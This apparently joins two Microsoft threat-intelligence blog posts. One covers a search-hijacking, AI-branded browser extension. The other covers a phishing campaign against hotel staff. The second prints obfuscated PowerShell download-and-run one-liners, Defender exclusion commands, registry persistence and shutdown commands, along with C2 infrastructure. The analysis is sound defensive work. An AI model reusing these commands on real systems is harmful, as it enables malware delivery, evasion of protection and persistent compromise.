Abuse of declarativeNetRequest

The extension requests powerful DNR permissions that enable traffic redirection, URL rewriting, and selective request filtering, which aren’t consistent with expected AI assistant behavior:

"permissions": 
[
  "declarativeNetRequest",
  "declarativeNetRequestFeedback",
  "declarativeNetRequestWithHostAccess"
]

These permissions provide specific capabilities exploited by this extension:

• declarativeNetRequest: Redirects all main_frame requests matching perplexity-ai[.]online/search/(.*) to legitimate search engines, creating a two-hop chain where the attacker server processes the query before the browser is redirected.
• declarativeNetRequestFeedback: Allows the extension to programmatically monitor which redirect rules fire, effectively confirming exfiltration success for each intercepted query.
• declarativeNetRequestWithHostAccess: Combined with host_permissions for ://perplexity-ai.online/, enables full request interception capabilities on the attacker-controlled domain. This behavior might enable traffic redirection and related activity depending on implementation.

The use of these permissions in an AI-themed search extension is particularly concerning because a legitimate search UI generally doesn’t require advanced network-manipulation APIs.

Search rewrite infrastructure

Multiple rule sets indicate modular traffic hijacking capability across providers such as Perplexity, Google, and Bing:

"rule_resources": [
  {
    "id": "perplexity",
    "enabled": true,
    "path": "perplexity-rules.json"
  },
  {
    "id": "bing",
    "enabled": false,
    "path": "bing-rules.json"
  },
  {
    "id": "google",
    "enabled": false,
    "path": "google-rules.json"
  }
]

This architecture enables modular traffic redirection controlled by the background service worker. The two-hop redirect design is critical to understanding the threat model:

1. Browser sends query to perplexity-ai[.]online (attacker server logs query, HTTP headers, IP, user-agent)
2. DNR rule immediately redirects browser to legitimate engine (perplexity[.]ai, google[.]com, or bing[.]com)
3. User sees normal search results, completely unaware of interception

The data theft occurs on hop 1, not on the redirect (hop 2). The server-side code (server.js) shipped with the extension explicitly logs all incoming requests including full headers, confirming the data collection intent. This activity aligns with behaviors observed in modern browser hijackers and ad-fraud ecosystems.

Host permissions

The extension requests host access to intermediary infrastructure not associated with the official vendor domain, enabling data interception and telemetry exposure:

"host_permissions":
 [
  "*://perplexity-ai[.]online/*"
]

Content security policy

The extension declares the following:

"content_security_policy": {"extension_pages": "script-src 'self' 'wasm-unsafe-eval'; object-src 'self';"} 

The inclusion of wasm-unsafe-eval is unusual for a search-redirect extension because it permits WebAssembly (Wasm) execution within extension pages. Although no Wasm modules were observed in version 2.2, the presence of this directive enables future Wasm-based functionality without requiring modifications to the extension’s content security policy configuration.

Dynamic analysis findings

Upon installation, the extension opens hxxps://extension.tilda[.]ws/perplexityai, presenting target users with an onboarding page designed to resemble a legitimate product setup flow. Similar onboarding techniques have been observed in extension-based adware and search-redirection campaigns, where they’re used to increase user trust and reduce scrutiny of subsequent browser modifications.

The runtime workflow we’ve observed demonstrates browser search redirection behavior:

1. User enters search query into the Omnibox.
2. Browser request routed to perplexity-ai[.]online.
   • Server logs full request: query string, HTTP headers, user-agent, and source IP address.
   • suggest_url captures real-time keystrokes during typing (before Enter is pressed)
3. Ruleset executes redirect.
4. User is delivered to selected search provider.

Unusually, this extension ships with its own server-side infrastructure code, revealing the complete attack architecture:

• server.js (Node.js proxy)
  • Logs all incoming requests including method, URL, and full HTTP headers.
  • Proxies’ suggestion queries to suggestqueries.google[.]com.
  • Adds permissive CORS headers (Access-Control-Allow-Origin: *) to enable cross-origin responses.
• nginx.conf
  • Configures perplexity-ai[.]online with Let’s Encrypt SSL.
  • Proxies /search endpoint to Google suggestions API.
  • Filters CORS origins exclusively to *.oda[.]digital (operator infrastructure).
  • Forces HTTP-to-HTTPS redirect.

This server-side code is definitive evidence that query interception and logging is architecturally intentional, not an incidental by-product of the redirect mechanism.

Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of this threat.

• Restrict the installation of untrusted browser extensions by enforcing allow‑listing and enterprise policy controls within managed environments.
• Encourage users to verify extension publishers, domains, and branding—particularly for AI-themed tools commonly leveraged in social engineering scenarios.
• Monitor unauthorized changes to browser search settings, unusual extension permissions, and outbound traffic to intermediary or non-standard domains associated with search activity. Controls that identify or flag extensions requesting search override capabilities or network-related APIs can help reduce potential risk exposure. Continuous inspection of extension behavior, alongside reputation-based methods, might also provide improved visibility into anomalous or potentially unwanted activity.
• Leverage platform-level protections to further reduce risk:
  • Microsoft Edge includes built-in capabilities designed to identify and respond to potentially malicious or unwanted extensions that attempt to manipulate browser behavior, including search redirection. Depending on configuration and risk signals, Edge might restrict or block extension execution.
    The Microsoft Edge Add-ons store also uses automated and manual review processes to assess extensions before and after publication, while ongoing monitoring enables identification and removal of extensions that violate policies—helping reduce user exposure to emerging threats.
  • Microsoft Defender SmartScreen provides reputation-based protection for URLs and web content, helping detect and block access to domains associated with malicious or deceptive activity.

Microsoft Defender detections

Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog. 

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence. 

Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run the following prebuilt promptbooks to automate incident response or investigation tasks related to this threat:   

• Incident investigation: Assist analysts in investigating alerts, correlating signals, and supporting analysis of extension-related activity to intermediary domains such as perplexity-ai[.]online.
• Microsoft User analysis: Support analysis of potentially impacted users whose browser search activity has been intercepted or redirected by malicious extensions.

Advanced hunting queries

NOTE: The following sample queries lets you search for a week’s worth of events. To explore up to 30 days’ worth of raw data to inspect events in your network and locate potential related indicators for more than a week, go to the Advanced Hunting page > Query tab, select the calendar dropdown menu to update your query to hunt for the Last 30 days.

Look for the presence of the malicious extension through file artifacts:

DeviceFileEvents
| where FileName has "flkebkiofojicogddingbdmcmkpbplcd" 
   or FolderPath has "flkebkiofojicogddingbdmcmkpbplcd"
| summarize Count = count() by DeviceName, DeviceId, FolderPath

Look for outbound network communication to intermediary infrastructure not associated with the official vendor domain:

DeviceNetworkEvents
| where RemoteUrl has "perplexity-ai.online"
| summarize Count = count() by DeviceName, DeviceId, InitiatingProcessAccountName, RemoteUrl

MITRE ATT&CK techniques observed

Indicators of compromise

References

• Phishing Via Typosquatting and Brand Impersonation: Trends and Tactics – Zscaler
• Overriding Chrome Settings

This research is provided by Microsoft Defender Security Research,  Asutosha Panigrahi, Ashwani Kumar, Mohd Sadique, and with contributions from members of Microsoft Threat Intelligence.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 
• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Learn more about Protect your agents in real-time during runtime (Preview)

The post Chromium extension uses AI‑related branding to redirect browser search appeared first on Microsoft Security Blog.

Microsoft Threat Intelligence has identified an active multi-stage intrusion campaign targeting organizations in the hospitality and hotel industry since April 2026. We’ve observed this activity through aggregated threat intelligence and security signals across multiple organizations in Europe and Asia. Microsoft has not attributed this campaign to a known threat actor. 

The campaign uses photo-themed ZIP archives that the target users download through the browser. These archives contain fake image shortcut files that, when launched, start an attack chain that relies on obfuscated PowerShell, a Node.js-based implant, dual registry persistence, and command-and-control (C2) communications over non-standard ports. As of this writing, the campaign’s post-compromise activities include C2 beaconing, forced shutdowns, and compilation of portable executable (PE) payloads. While the campaign’s ultimate objective remains unclear, we assess that the threat actor’s investment in ensuring obfuscation and persistence could indicate that they’re preparing the victim devices for more follow-on activities. 

In late May 2026, we observed the threat actor misusing legitimate services—including the cloud-based scheduling platform Calendly’s email notification infrastructure and Google’s URL redirect functionality—to deliver phishing emails with multilingual lures and subject lines (for example, guest complaints and room inquiries) designed to convince hospitality staff to open the embedded malicious link and download the ZIP archive. These phishing emails attempt to bypass conventional authentication checks through a technique we describe as authentication laundering: by routing phishing messages through a trusted service’s sending infrastructure, the threat actor can make malicious messages appear similar to legitimate notifications to email authentication defenses. 

We’ve observed the campaign evolving in two distinct waves. The first wave (hereinafter referred to as Wave 1) used shortcut files named IMG-<random numbers>.png.lnk, while the second one (Wave 2) introduced a naming shift to PHOTO-<random numbers>.png.lnk. Wave 2 also introduced a new attack chain stage in which the PowerShell downloader triggered dynamic .NET DLL compilation through csc.exe, and the actor expanded its domain infrastructure to include .cfd domains hosted behind Cloudflare. 

This blog summarizes the campaign’s Wave 1 and Wave 2 attack chains and provides Microsoft Defender detections and recommendations. It’s intended to share threat intelligence to help organizations better understand, identify, and defend against similar attack techniques. The activity described reflects observed patterns and behaviors and is provided to support defensive security efforts. 

Attack chain overview

The campaign follows a multi-stage attack chain with limited variation in overall behavior, even as the actor changed its PowerShell obfuscation and delivery refinements between waves.  

Initial access and user execution 

The campaign begins with delivery of a browser-downloaded archive with a file name that uses the pattern photo-<random numbers>.zip. In one observed activity, links to these archives were delivered through phishing emails. We assess that this file naming convention was designed to appear ordinary yet relevant to hospitality workflows, which commonly exchange guest photos, reservation-related images, or document snapshots. 

In Wave 1, the archive contained a fake image shortcut named IMG-<random numbers>.png.lnk, which masqueraded as a PNG file while remaining executable content. In Wave 2, the threat actor introduced a naming shift to PHOTO-<random numbers>.png.lnk (uppercase PHOTO prefix). Successful execution depended on a target user opening what appeared to be an image. 

The following table lists representative delivery artifacts observed across impacted environments in both campaign waves. The file sizes of the LNK files consistently fell within 1,989 to 2,079 bytes, suggesting the same builder tool. 

Observed LNK and ZIP naming patterns across both campaigns. 

Observed victim device naming patterns, including reception- and front office-associated systems and hotel-named devices, confirm the threat actor’s focus on staff likely to interact with image or document attachments as part of day-to-day operations. Some of the user account names observed across impacted environments include the following strings, which refer to words in different languages such as English, French, Polish, Czech, and Spanish:  

• reception 

• frontdesk 

• reservations 

• accueil  

• recepcja 

• recepce 

• frontoffice  

Phishing infrastructure: Authentication laundering through legitimate services 

Beginning late May 2026, we observed that this campaign’s initial access mechanism also abuses legitimate web services to bypass email authentication controls and obscure the true destination of phishing links. This observation aligns with the previously published findings by other security researchers. 

The threat actor uses Calendly’s email notification system and Google’s URL redirect functionality to construct a multi-hop delivery chain in which the direct Calendly path passes Sender Policy Framework (SPF), DomainKeys Identified Mail (DKIM), and Domain-based Message Authentication, Reporting, and Conformance (DMARC) checks. 

Lure themes and language targeting 

The sender display name across all observed emails is “Booking Manager (via Calendly),” a social engineering choice that appears designed to exploit hospitality staff’s familiarity with booking and scheduling workflows. 

Across the relayed messages, Microsoft observed the following small set of recurring social-engineering themes delivered in Japanese, Danish, and Dutch:  

• Guest complaints 

• Bedbug (Cimex) infestation reports 

• Verification call notices 

• Room condition inquiries 

• Stay review requests 

These lures are deliberately generic and non-personalized: every subject references an anonymous “guest,” “facility,” or “your accommodation,” and none contains a recipient name, guest name, or organization name. This is consistent with high-volume, list-driven distribution rather than tailored spear-phishing. The threat actor relies on urgency and reputational pressure (complaints, “final warning,” health-authority inspection, possible suspension) to drive target hospitality staff to click. 

Phishing lure themes by language, listed by observed prevalence. 

The threat actor reuses the same themes across all three languages, with Japanese as the most prevalent. Notably, unfilled template placeholders—such as a literal ID token in the Danish variant—appeared in some subjects, indicating automated, templated generation. 

Use of Calendly notification infrastructure as a phishing relay 

The threat actor uses a threat actor-controlled Calendly account associated with the subdomain em1618.calendly.com to relay phishing emails to hospitality targets. Authentication results differ by delivery path. 

Authentication results for emails sent through the direct Calendly path. The checks pass because the messages are sent through authorized Calendly-associated sending infrastructure; this does not validate the intent or safety of the message content. 

This technique, which we describe as authentication laundering in this context, exploits the trust model of email authentication. SPF, DKIM, and DMARC verify that an email was sent from authorized infrastructure for a given domain. When the sending domain is a legitimate service and the threat actor controls the message content, these checks confirm the sender is authorized while saying nothing about the intent of the message. 

Multi-hop redirect chain 

Each phishing email contains a Calendly redirect URL that initiates a multi-hop chain intended to obscure the final destination from users and automated URL analysis. The embedded Calendly link routes victims through a four-hop chain before reaching the payload: 

• Step 1: calendly[.]com/url?q=hxxps://share[.]google/TOKEN → HTTP 302 

• Step 2: share[.]google/TOKEN → HTTP 302 

• Step 3: www.google[.]com/share_google?q=TOKEN → HTTP 301 

• Step 4: photo-*[.]cfd → Phishing landing page (Cloudflare challenge gate) 

Calendly’s Link Safety Service interstitial (url?q=) was used as the first hop and Google’s share[.]google redirect as the second. The final .cfd landing pages were freshly registered (for example, photo-26654[.]cfd was 17 days old at the time of analysis), Cloudflare-fronted, and gated behind a Cloudflare Turnstile (“verify you are human”) challenge that doubles as an anti-analysis and geo-gating mechanism before serving the photo-themed ZIP. 

Microsoft assesses that this redirect architecture serves multiple evasion purposes: 

• Fragmentation of URL reputation: No single URL in the chain is inherently malicious at the time of delivery 

• Abuse of Google’s open redirect: The share.google → NULLwww.google.com/share_google redirect leverages Google infrastructure, adding trusted reputation to the chain 

The threat actor maintains a second delivery variant that bypasses the share.google intermediate step, linking directly from a Calendly redirect URL to the phishing domain (calendly[.]com/url?q=photo-*[.]cfd). Microsoft observed that both variants are active simultaneously, with the same Calendly user UUIDs appearing across both paths. This supports the assessment that a single operator is managing the parallel delivery mechanisms. 

PowerShell-based first stage 

Once the malicious shortcut is opened, the next-stage payload invokes PowerShell and launches an obfuscated BigInt decoder. Across the campaign, the PowerShell stage consistently decodes data and then downloads an additional .ps1 file. Microsoft observed a repeating pattern of BigInt decoder →  Invoke-WebRequest → .ps1. The full obfuscation evolution across seven phases is detailed in the Obfuscation evolution section of this blog. 

The decoded URL points to the campaign’s download domains. In the validated chain, the .ps1 file is retrieved from the photo-*.cfd landing domain 

.NET DLL compilation (Wave 2) 

In Wave 2, we observed a new intermediate stage between the PowerShell download and Node.js deployment. The downloaded .ps1 script triggers dynamic .NET compilation through csc.exe (the C# compiler), which in turn invokes cvtres.exe (the resource-to-object converter). This sequence produces small DLL files with random names.  

Representative observed artifacts: 

csc.exe → cvtres.exe → <random>.dll (3,072 bytes) 

Figure 2. Wave 2 .NET DLL compilation chain. The compiled DLL was created but wasn’t observed being loaded through rundll32 or regsvr32 in available telemetry. This stage might be preparatory or conditional. 

Microsoft assesses that this stage wasn’t present in Wave 1 and represents an expansion in the attack chain. 

Script staging and Node.js implant deployment 

After decoding and retrieval, the downloaded PowerShell script runs from the %TEMP% folder. This staging step appears to be transitional rather than final, enabling subsequent download or launch of the campaign’s Node.js component.  

We observed the next step as execution of node.exe from a user-space path. The Node runtime version observed across both waves is node-v24.13.0-win-x64 (SHA-256: d14ba95cdce1ef7dc9ad3ac74949ca5db38b27378ee30f30a23cf26f9e875a11, 89.9 MB – downloaded from the legitimate nodejs[.]org site).  

Figure 3 shows representative observed command lines: 

"node.exe" C:\Users\[REDACTED]\AppData\Local\Nodejs\E2HPVoYGA77RECeb.js safedocphoto[.]info 
"node.exe" C:\Users\[REDACTED]\AppData\Local\Nodejs\jVXvdhxNfcqHuSf.js recallnine[.]info 
"node.exe" C:\Users\[REDACTED]\AppData\Local\Nodejs\c4yCFRzE.js kentjerk[.]info 
"node.exe" C:\Users\[REDACTED]\AppData\Local\Nodejs\FfXznFDs8.js photodoc-secure[.]info 
"node.exe" C:\Users\[REDACTED]\AppData\Local\Nodejs\f76qtHrP.js kelopins[.]info

Figure 3. Node.js implant execution with random JavaScript filenames and C2 domain arguments. 

The Node.js runtime functions as the interpreter for the implant’s .js payloads. Microsoft assesses that placing the runtime in a user-writable location could help the threat actor avoid dependencies on a system-installed Node.js binary while also supporting repeated payload reuse across different filenames. Hash reuse across distinct filenames confirms reuse of the same binaries, reinforcing the assessment that the threat actor prioritizes operational repeatability. 

The Node.js implant also establishes its own persistence by spawning PowerShell to create a detached, hidden child process: 

powershell.exe -c "$code = \"require('child_process').spawn(process.execPath, 
  ['C:\\Users\\[REDACTED]\\AppData\\Local\\Nodejs\\.js'], 
  {detached: true, stdio: 'ignore', windowsHide: true}).unref()\"; 
  $command = ... 

Figure 4. Node.js persistence mechanism using child_process.spawn with detached and windowsHide flags. 

Defense evasion and payload execution 

Once the Node.js component is established, the campaign modifies Defender settings by using Add-MpPreference -ExclusionProcess for temporary-path executables. We assess that this exclusion step is intended to reduce inspection of follow-on binaries located in AppData\Local\Temp. Figure 5 shows representative observed exclusion commands: 

powershell.exe -c "Add-MpPreference -ExclusionProcess \"C:\Users\[REDACTED]\AppData\Local\Temp\utramdJQjRMJ.exe\"" 
powershell.exe -c "Add-MpPreference -ExclusionProcess \"C:\Users\[REDACTED]\AppData\Local\Temp\YEg9nfBg3QG4.exe\"" 
powershell.exe -c "Add-MpPreference -ExclusionProcess \"C:\Users\[REDACTED]\AppData\Local\Temp\57AVjhcz6vL0c.exe\"" 
powershell.exe -c "Add-MpPreference -ExclusionProcess \"C:\Users\[REDACTED]\AppData\Local\Temp\sDNud94J7WVDN.exe\"" 

Figure 5. Defender process exclusions added for randomly named EXE files seconds before their execution. 

These excluded random EXE files in AppData\Local\Temp are then launched, followed by helper .tmp installers or unpackers that used names matching is-*.tmp and commonly ran with /SL5 or /VERYSILENT. This combination suggests a deployment chain in which the Node.js implant stages additional binaries, then launches installer-like helpers to unpack or execute the next payload. Microsoft assesses that the .tmp convention and silent-install flags are likely chosen to minimize user awareness while also obscuring the actual payload family. 

ProgramData relocation and persistence 

Observed payloads are then copied into C:\ProgramData\<random>\<payload>.exe. Lowercase copies with the same hash appear under different filenames, which is consistent with repackaging or relocation for stability rather than recompilation. Figure 6 shows representative observed ProgramData paths from the campaign: 

C:\ProgramData\FFXjwKn\fehqf5oo.exe 
C:\ProgramData\PEIEZlD\qulcp452eb9.exe 
C:\ProgramData\YXbwfua\e6kz1ruadskkk.exe 
C:\ProgramData\PsrOqKF\vl8daccehg.exe 
C:\ProgramData\riloNEK\s8bpfaee.exe 
C:\ProgramData\JMSVrLU\choffgpa.exe 

Figure 6. ProgramData relocation paths with randomized folder names and lowercase payload filenames. 

The persistence model used in this campaign is especially notable. We observed a dual mechanism in which HKCU\RunOnce pointed to the ProgramData executable while HKCU\Run pointed to the Node.js component. Figure 7 shows a representative registry persistence command: 

cmd /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" 
  /v "zZBPZPuA" /t REG_SZ /d "C:\ProgramData\FFXjwKn\fehqf5oo.exe" /f 

Figure 7. Registry RunOnce persistence pointing to ProgramData payload with randomized value name. 

The RunOnce behavior is particularly unusual because the payload refreshes its own persistence after each execution, effectively creating a RunOnce loop. Microsoft assesses that this design might have been intended to complicate cleanup by repopulating an entry that defenders might otherwise treat as one-time execution. 

Command and control 

In later stages of the campaign, compromised systems beacons to fixed IP infrastructure over non-standard ports including: 

• 8443 

• 8445 

• 8453 

• 5555 

• 56001 

• 56002 

• 56003  

We observed the campaign expanding its C2 infrastructure between waves: 

Wave 1 IPs: 

• 178.16.54[.]27 

• 95.217.97[.]121 

• 193.202.84[.]32 

• 178.16.55[.]179 

The IP address 178.16.54[.]27 remains active on ports 56001/56002 across both waves. 

We also observed numerous unique domains themed around photos, documents, visas, safes, and vaults, spanning top-level domains (TLDs) such as the following: 

• .info 

• .com 

• .pro 

• .xyz 

• .cloud 

• .icu 

• .sbs 

• .click 

• .bond 

• .cfd (Wave 2) 

Wave 2 introduced Cloudflare-hosted .cfd domains following a photo-<random numbers> naming convention: 

• photo-26254[.]cfd 

• photo-26654[.]cfd 

• photo-132454[.]cfd 

• photo-8632454[.]cfd 

The domain sec-safe-dc[.]info was observed active in both waves, further supporting the assessment of a single continuous campaign. 

Obfuscation evolution 

A defining characteristic of this campaign is its steady but disciplined obfuscation evolution. Microsoft observed seven PowerShell obfuscation phases over the course of the campaign, but the underlying logic remained consistent: decode embedded data through arithmetic operations, recover the next-stage content, and retrieve a PowerShell script that runs from the %TEMP% folder. This pattern suggests that the threat actor is iterating for durability against static detections rather than experimenting with entirely new tradecraft. 

Phase 1: XOR bigint decoding

Early samples rely on XOR arithmetic, using two large integers and a -bxor operation, followed by byte masking and shifting. The following is a representative observed command line: 

powershell.exe -ep bypass -c "$k=[bigint]\"2004985473718821432817707887657617\"; 
$w=[bigint]\"278573358569528286847653191217377\";$o=$k -bxor $w; 
while($o -ne 0){$g+=[char]([int]($o -band 0xFF));$o=$o -shr 8}; 
iwr $g -OutFile $env:TEMP\eRJGv.ps1 -UseBasicParsing; 
powershell -ep bypass -File $env:TEMP\eRJGv.ps1" 

Figure 9. Phase 1 PowerShell downloader using XOR-based bigint decoding with -bxor, -band 0xFF, and -shr 8. 

Phase 2: Subtraction replaces XOR

Microsoft then observed the threat actor swapping XOR logic for subtraction while keeping the rest of the decoder identical. This change bypasses detections anchored on -bxor: 

powershell.exe -ep bypass -c "$i=[bigint]\"1568015162836542885394310232785365293\"; 
$y=[bigint]\"989592658109712364469795296253690811\";$r=$i - $y; 
while($r -ne 0){$m+=[char]([int]($r -band 0xFF));$r=$r -shr 8}; 
iwr $m -OutFile $env:TEMP\VJksAkfp.ps1 -UseBasicParsing; 
powershell -ep bypass -File $env:TEMP\VJksAkfp.ps1"

Figure 10. Phase 2 variant replacing -bxor with subtraction while preserving the same decoding structure. 

Phase 3: Hexadecimal to decimal substitution

The decoder then shifts from -band 0xFF to -band 255. Although functionally equivalent (0xFF = 255), this change is consistent with a threat actor testing whether surface-level constant changes could degrade signature reliability: 

powershell.exe -ep bypass -c "$e=[bigint]\"1080978693158786688289132234139422058835788841232\"; 
$l=[bigint]\"444996423444240363171355535687083720697400778653\";$w=$e - $l; 
while($w -ne 0){$j+=[char]([int]($w -band 255));$w=$w -shr 8}; 
iwr $j -OutFile $env:TEMP\ymqMj.ps1 -UseBasicParsing; 
powershell -ep bypass -File $env:TEMP\ymqMj.ps1" 

Figure 11. Phase 3 variant replacing 0xFF with decimal 255. 

Phase 4: Arithmetic masking

Masking expressions are further transformed into arithmetic forms that evaluate to the same constant. This variation prevents simple string matching on either 0xFF or 255: 

powershell.exe -ep bypass -c "$e=[bigint]\"988466760738254167909712279829942477\"; 
$y=[bigint]\"352542850680807474382013127968401501\";$i=$e - $y; 
while($i -ne 0){$b+=[char]([int]($i -band (177+78)));$i=$i -shr 8}; 
iwr $b -OutFile $env:TEMP\23QbL.ps1 -UseBasicParsing; 
powershell -ep bypass -File $env:TEMP\23QbL.ps1"

Figure 12. Phase 4 variant hiding the byte mask behind arithmetic expressions such as (177+78). 

Other observed arithmetic masks included -band (100+155) and -band 128+127, all resolving to 255. 

Phase 5: Modulo and division

Later samples replace the bit-shift model entirely, switching from -band and -shr to modulo and division operations: 

powershell.exe -ep bypass -c "$s=[bigint]\"28248557062916408148263140002288993200489702\"; 
$o=[bigint]\"18544237761852163685406436002210545666450291\";$e=$s - $o; 
while($e -ne 0){$x+=[char]([int]($e -band (255)));$e=$e -shr 8}; 
iwr $x -OutFile $env:TEMP\PVtvOP40.ps1 -UseBasicParsing; 
powershell -ep bypass -File $env:TEMP\PVtvOP40.ps1"

Figure 13. Phase 5 transitional variant; later samples in this phase fully replaced -band/-shr with % 256 and / 256. 

Phase 6: Syntax diversification and randomization

The threat actor adopts “num” -as [bigint] casting syntax, introduces long random variable names, and uses modulo/division for byte extraction. The combined effect makes each sample visually distinct despite identical logic: 

powershell.exe -ep bypass -c "$zGjEc0LINYdefj=\"25908558764390958596189327204542\" -as [bigint]; 
$MyL4evU3=256; 
$GqA4xFav=\"17082531775760189576112827972435\" -as [bigint]; 
$XwcU0kg87CFgqe5=$zGjEc0LINYdefj - $GqA4xFav; 
while($XwcU0kg87CFgqe5 -ne 0){ 
  $qy8gWy4FONBaCV+=[char]([int]($XwcU0kg87CFgqe5 % $MyL4evU3)); 
  $XwcU0kg87CFgqe5=$XwcU0kg87CFgqe5 / $MyL4evU3}; 
iwr $qy8gWy4FONBaCV -OutFile $env:TEMP\.ps1 -UseBasicParsing; 
powershell -ep bypass -File $env:TEMP\.ps1"

Figure 14. Phase 6 variant using -as [bigint] syntax, long randomized variable names, and modulo/division decoding. 

Phase 7: For-loop variant with arithmetic mask (Wave 2)

The most recent observed phase introduces a for-loop iteration model with an arithmetic mask using a variable set to 100+156 (=256) and -as [bigint] casting. This is a natural evolution of Phase 6’s syntax diversification, further altering the control flow structure while preserving the same underlying decode-and-download behavior: 

powershell.exe -ep bypass -c "$IcZWdT=100+156; 
$=\"\" -as [bigint]; 
$=\"\" -as [bigint]; 
$=$ - $; 
for($i=0; $ -ne 0; $i++){ 
  $
+=[char]([int]($ % $IcZWdT)); 
  $=[bigint]($ / $IcZWdT)}; 
iwr $
 -OutFile $env:TEMP\.ps1 -UseBasicParsing; 
powershell -ep bypass -File $env:TEMP\.ps1"

Figure 15. Phase 7 variant (Wave 2) introducing a for-loop with arithmetic mask $IcZWdT=100+156 and -as [bigint] casting. 

This seven-phase evolution demonstrates a threat actor that monitors or anticipates detection pressure. The campaign doesn’t pivot away from PowerShell or Node.js; instead, it repeatedly re-skins a working loader. For defenders, this means purely literal detections on isolated operators, constants, or variable names might age quickly, while behavior-based detections anchored on the full sequence—shortcut execution, PowerShell decode, %TEMP% staging, Node.js from user space, Defender exclusions, and ProgramData persistence—are likely to remain more resilient. 

Campaign evolution 

Microsoft assesses that the observable differences between Wave 1 and Wave 2 represent a deliberate operational evolution by the same threat actor. The following cross-wave correlations support this assessment: 

Evidence of a single continuous campaign 

Cross-wave artifact overlaps demonstrating a single continuous campaign. 

What changed between waves 

Summary of campaign evolution from Wave 1 to Wave 2. 

Microsoft assesses that these changes reflect operational maturation rather than a shift in objectives. The threat actor expanded evasion (DLL compilation, Cloudflare fronting) and broadened targeting—all while maintaining the same core attack chain and reusing key infrastructure. 

Persistence survival analysis 

One of the significant findings from Wave 2 is the demonstrated resilience of the dual persistence model under active Defender intervention. 

On a confirmed compromised device, Defender detected and blocked one PE payload (xmnrwv9l.exe, SHA-256: 04ec44f2618460f5c77c5e56014a512cc03a123c9c5b6b6b1273e2a1681ac2e1) with Wacatac detections. Despite that block, the Node.js HKCU\Run key persistence remained active. Approximately two days later, the Node.js implant reactivated and resumed C2 communications to new domains. 

Following the initial block, Microsoft observed additional /VERYSILENT EXEs deployed on the same device: 

cBA8H4S5k04jAY.exe 
eaa3q8BQZcnIOV.exe 
BaUWXagH4CGZS.exe 
CJE4domtVFM9LX.exe

Figure 18. Additional payload EXEs deployed after Defender blocked the initial PE, demonstrating the implant’s ability to retry delivery through the surviving Node.js persistence. 

This sequence highlights a remediation consideration: the dual persistence model (RunOnce for the PE payload + Run for Node.js) means that blocking one execution path might not fully neutralize the other. The Node.js implant, if it remains active, can re-download and re-attempt payload delivery. Microsoft assesses that complete remediation of this campaign requires removal of both persistence mechanisms—the ProgramData RunOnce entry and the Node.js Run key—along with the Node.js runtime and associated .js files from the user’s AppData\Local\Nodejs\ directory. 

Post-compromise activity 

Microsoft observed a subset of devices reaching clear late-stage post-compromise behavior. On multiple devices, the activity progressed to active C2 beaconing, browser automation with –headless –no-sandbox flags, and environment lookups. Based on the command-line pattern alone, Microsoft assesses that the threat actor likely used automated browser execution rather than manual interactive browsing on those hosts. 

The campaign also performed an environment lookup using ip-api[.]com, observed through 208.95.112[.]1. This behavior is consistent with gathering external network context before continuing operations. Microsoft assesses that this lookup might have helped the operator understand geographic or connectivity attributes of the compromised device environment. 

A final disruptive behavior involved forced shutdown through cmd /c shutdown -s -t 0, observed on multiple devices. Microsoft assesses that immediate shutdown could have served several purposes depending on the host context: interruption of user activity, reduction of defender response time during a specific stage, or concealment of visible symptoms after automated browser tasks or payload launches completed. 

The persistence design itself is a meaningful post-compromise observation. The combination of a durable Node.js launch point in HKCU\Run and a repeatedly refreshed ProgramData payload through HKCU\RunOnce suggests an effort to maintain execution options across user sign-ins while also preserving a secondary recovery path. This RunOnce loop is unusual enough that it might provide defenders with a strong hunting pivot even when file names, domains, or script syntax change. 

Mitigation and protection guidance

Organizations in hospitality and adjacent service industries should prioritize layered detections for this campaign’s behavior sequence rather than any single indicator. Microsoft recommends the following actions based on the observed attack chain: 

1. Treat photo-themed ZIP archives and fake image shortcuts as high risk. Investigate browser-downloaded archives matching photo-<random numbers>.zip and shortcut files matching IMG-<random numbers>.png.lnk or PHOTO-<random numbers>.png.lnk, especially when they’re followed by PowerShell or script interpreter launches. Learn more about attack surface reduction rules 

2. Harden and monitor PowerShell execution. Because the campaign repeatedly used obfuscated BigInt arithmetic across seven phases, defenders should prioritize PowerShell activity that includes unusual combinations of BigInt casting, subtraction or XOR decode logic, byte masking, modulo or division byte extraction, for-loop decode patterns, and subsequent Invoke-WebRequest behavior. Learn more about PowerShell constrained language 

3. Monitor for unexpected .NET compilation. The appearance of csc.exe spawning cvtres.exe and producing small DLLs in user-writable paths, especially when initiated by PowerShell scripts from %TEMP%, is unusual in hospitality environments and should be investigated. 

4. Investigate Node.js execution from user-space paths. node.exe running from C:\Users\<user>\AppData\Local\Nodejs\ with a random .js file and domain argument is unusual in many enterprise environments. Microsoft recommends reviewing whether Node.js is expected on reception, front office, or similarly targeted systems. 

5. Alert on Defender exclusion changes tied to temporary executables. Add-MpPreference -ExclusionProcess aligned to %TEMP% or AppData\Local\Temp should be treated as suspicious when associated with shortcut-driven or script-driven execution chains. Learn more about tamper protection .

6. Hunt for random EXE launches from temporary paths and helper .tmp installers. The campaign uses numerous unique temporary executable filenames and helper is-*.tmp files with /SL5 or /VERYSILENT. These patterns are likely more durable than individual filenames. 

7. Review persistence in both HKCU\Run and HKCU\RunOnce. Pay particular attention to values that launch node.exe from user directories or reference executables under C:\ProgramData\<random>\. Because the campaign refreshes RunOnce, repeated recreation of that value might be a strong signal. Critically, both keys must be removed during remediation—removing only the RunOnce entry leaves the Node.js implant active. 

